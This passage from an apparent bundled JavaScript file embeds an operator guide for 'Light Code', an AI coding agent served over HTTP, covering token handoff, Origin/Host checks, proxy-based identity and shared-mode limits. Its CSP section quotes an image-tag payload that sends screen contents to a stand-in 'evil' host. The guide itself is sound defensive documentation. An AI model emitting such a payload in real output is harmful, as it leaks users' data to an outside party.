running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json administrator ids, variables for everyone (0600)\r\n<data>/users/<hash of principal id>/\r\n config.json profiles, MCP servers, approvals (0600)\r\n secrets.json API keys, passwords (0600)\r\n variables.json this user\'s session variables (0600)\r\n workspace-state.json which task was open\r\n tasks/ conversation history\r\n tool-results/ spilled tool output\r\n checkpoints/ shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n proxy_set_header X-Forwarded-User $remote_user; # replaces, never appends\r\n proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n --workspace /srv/repo \\\r\n --trust-proxy 10.0.0.5 \\\r\n --admin-id 8f3c1e22-... \\\r\n --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n users http://127.0.0.1:8080/\r\n administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### Trying it on one machine\r\n\r\nA browser cannot set the user header, so without a proxy in front every request is refused \u2014\r\ncorrectly, and the screen stays empty. `scripts/dev-proxy.mjs` closes that gap for local testing:\r\n\r\n```bash\r\n# terminal 1 \u2014 the server, trusting loopback\r\nlight-code --server --port 8751 --trust-proxy 127.0.0.1 --admin-id alice\r\n\r\n# terminal 2 \u2014 a stand-in proxy that stamps a user on every request\r\nnode scripts/dev-proxy.mjs --port 8080 --to 8751 --user alice --name Alice\r\n```\r\n\r\nThen open <http://127.0.0.1:8080/> as a user and <http://127.0.0.1:8080/admin> as an administrator.\r\nRestart the proxy with `--user bob` to see the same server as someone who is not on the admin list.\r\n\r\n**It authenticates nobody.** It stamps whichever user you name onto every request, which is exactly\r\nwhat a real proxy must never do. It is safe here only because it binds loopback and you started it.\r\nDo not put it in front of anything, and do not copy its shape \u2014 the real config above *strips* an\r\ninbound header rather than trusting one.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n "defaultProfileId": "gateway",\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Corporate gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n }\r\n ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1b-i. Being launched by another application\r\n\r\nLight Code is often started *by* something else \u2014 a Streamlit app, a wrapper script, a container\r\nentrypoint \u2014 which already holds the credentials and already has a Python environment set up. Two\r\nthings make that work without duplicating either.\r\n\r\n### The API key can come from the environment\r\n\r\nPut `env:API_TOKEN` in the API key field (or in `auth.apiKeyRef` in the config file) and the key is\r\nread from that environment variable instead of being stored:\r\n\r\n```jsonc\r\n{\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Internal gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal.example/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "env:API_TOKEN" }\r\n }\r\n ],\r\n "activeProfileId": "gateway"\r\n}\r\n```\r\n\r\nNothing is written to the keychain, and the variable is read fresh on every request. From Python:\r\n\r\n```python\r\nimport os, subprocess\r\nos.environ["API_TOKEN"] = my_internal_lib.get_apigee_token()\r\nsubprocess.Popen(["npx", "@chosengeneration/light-code"], env=os.environ)\r\n```\r\n\r\n**It must be exported before Light Code starts.** A process cannot see a variable its parent set\r\nafterwards, so a token exported later \u2014 or set only in the parent\'s own shell \u2014 is invisible. If\r\nthe panel shows the key as missing, that is what it is telling you: the variable is not set *in\r\nthis process*. The message names the variable.\r\n\r\n### A token that expires needs a command, not a variable\r\n\r\nThe catch with the above is that **a parent cannot change a running child\'s environment**. An\r\nApigee token is typically good for an hour; a session that outlives it starts failing every request\r\nwith no way back except a restart.\r\n\r\nSo a profile can fetch its own token by running a command \u2014 whatever the parent already uses:\r\n\r\n```jsonc\r\n{\r\n "auth": {\r\n "type": "tokenCommand",\r\n "tokenCommand": {\r\n "command": ["python", "-c", "import my_internal_lib; print(my_internal_lib.get_apigee_token())"],\r\n "fallbackExpirySeconds": 3600,\r\n "refreshSkewSeconds": 60\r\n }\r\n }\r\n}\r\n```\r\n\r\nThe credential logic stays in the one library that owns it, and Light Code never learns how the\r\ngateway\'s auth works. It refreshes proactively before expiry, shares one fetch across concurrent\r\nrequests, and checks the remaining lifetime before opening a stream so a token cannot expire\r\nmid-response.\r\n\r\nIf the command prints JSON instead of a bare token, name the fields:\r\n\r\n```jsonc\r\n{ "tokenPath": "access_token", "expiresInPath": "expires_in" }\r\n```\r\n\r\nNotes worth having in advance:\r\n\r\n- **`command` is argv, never a shell string.** It is spawned directly, so nothing is parsed by a\r\n shell \u2014 no pipes, no redirection, and a path with a space is one argument. Write a script if you\r\n need shell logic; that is a better place for it anyway.\r\n- **Print only the token.** Output containing whitespace is refused rather than sent as a bearer\r\n token, because a warning line prepended to the token produces a 401 that looks like a bad\r\n credential.\r\n- **It runs a program you name**, so it is exactly as powerful as the account Light Code runs\r\n under. It is configured in the config file rather than in the panel, and on a shared server it\r\n has no business in a personal profile.\r\n\r\n### Python without uv or a virtualenv\r\n\r\nIf the environment that launched Light Code already has the libraries your tools need \u2014 a Streamlit\r\napp\'s own interpreter, a conda environment, a container image \u2014 point it at that interpreter and it\r\nwill use it as it is:\r\n\r\n```jsonc\r\n{ "python": { "dynamicTools": "on", "interpreterPath": "/usr/bin/python3" } }\r\n```\r\n\r\nLeave `interpreterPath` unset and it falls back to `python3`, then `python`, from `PATH` \u2014 but only\r\nwhen `uv` is absent. uv is still preferred when it is available, because then Light Code owns the\r\nenvironment and can manage it.\r\n\r\n**In this mode Light Code does not install or remove packages.** That environment belongs to\r\nwhatever started it, and `pip install` into it could break the application serving your users. A\r\ntool whose imports are already satisfied works; one declaring a dependency that is not there is\r\nrefused at creation, naming the package, so you install it the way you install everything else\r\nthere. The Python tab says which mode is in use and why.\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n nothing else substitutes for it. The server becomes a supervisor that launches a\r\n per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
|
|
24553
|
+
var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Requirements\r\n\r\n**Node 17 or newer.** Nothing here needs a current runtime: the newest API Light Code itself uses\r\nis `structuredClone`, which arrived in Node 17.0. The floor is 17 rather than lower only because\r\nof that.\r\n\r\nOne dependency \u2014 the MCP SDK \u2014 is written against Node 18 and expects `fetch`, the stream types\r\nand `Blob` on `globalThis`. On Node 17 those all exist but are not global, so the CLI supplies\r\nthem from Node\'s own modules and from undici before anything else loads, and says so in the\r\nstartup banner when it has done it. On Node 18 and above it does nothing.\r\n\r\nNode 20 or newer is still what the repository is developed against.\r\n\r\n## Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json administrator ids, variables for everyone (0600)\r\n<data>/users/<hash of principal id>/\r\n config.json profiles, MCP servers, approvals (0600)\r\n secrets.json API keys, passwords (0600)\r\n variables.json this user\'s session variables (0600)\r\n workspace-state.json which task was open\r\n tasks/ conversation history\r\n tool-results/ spilled tool output\r\n checkpoints/ shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n proxy_set_header X-Forwarded-User $remote_user; # replaces, never appends\r\n proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n --workspace /srv/repo \\\r\n --trust-proxy 10.0.0.5 \\\r\n --admin-id 8f3c1e22-... \\\r\n --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n users http://127.0.0.1:8080/\r\n administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### Trying it on one machine\r\n\r\nA browser cannot set the user header, so without a proxy in front every request is refused \u2014\r\ncorrectly, and the screen stays empty. `scripts/dev-proxy.mjs` closes that gap for local testing:\r\n\r\n```bash\r\n# terminal 1 \u2014 the server, trusting loopback\r\nlight-code --server --port 8751 --trust-proxy 127.0.0.1 --admin-id alice\r\n\r\n# terminal 2 \u2014 a stand-in proxy that stamps a user on every request\r\nnode scripts/dev-proxy.mjs --port 8080 --to 8751 --user alice --name Alice\r\n```\r\n\r\nThen open <http://127.0.0.1:8080/> as a user and <http://127.0.0.1:8080/admin> as an administrator.\r\nRestart the proxy with `--user bob` to see the same server as someone who is not on the admin list.\r\n\r\n**It authenticates nobody.** It stamps whichever user you name onto every request, which is exactly\r\nwhat a real proxy must never do. It is safe here only because it binds loopback and you started it.\r\nDo not put it in front of anything, and do not copy its shape \u2014 the real config above *strips* an\r\ninbound header rather than trusting one.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n "defaultProfileId": "gateway",\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Corporate gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n }\r\n ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1a. Running without the launch link\r\n\r\nThe launch URL carries a one-time token in its fragment, which the page exchanges for a session\r\ntoken. That is right when the browser opens itself and awkward when you are moving the URL by\r\nhand. Two ways to make it less so, in order of preference:\r\n\r\n```bash\r\n# Keep the token, give yourself longer to use it.\r\nnpx @chosengeneration/light-code --handoff-seconds 120\r\n\r\n# No token at all.\r\nnpx @chosengeneration/light-code 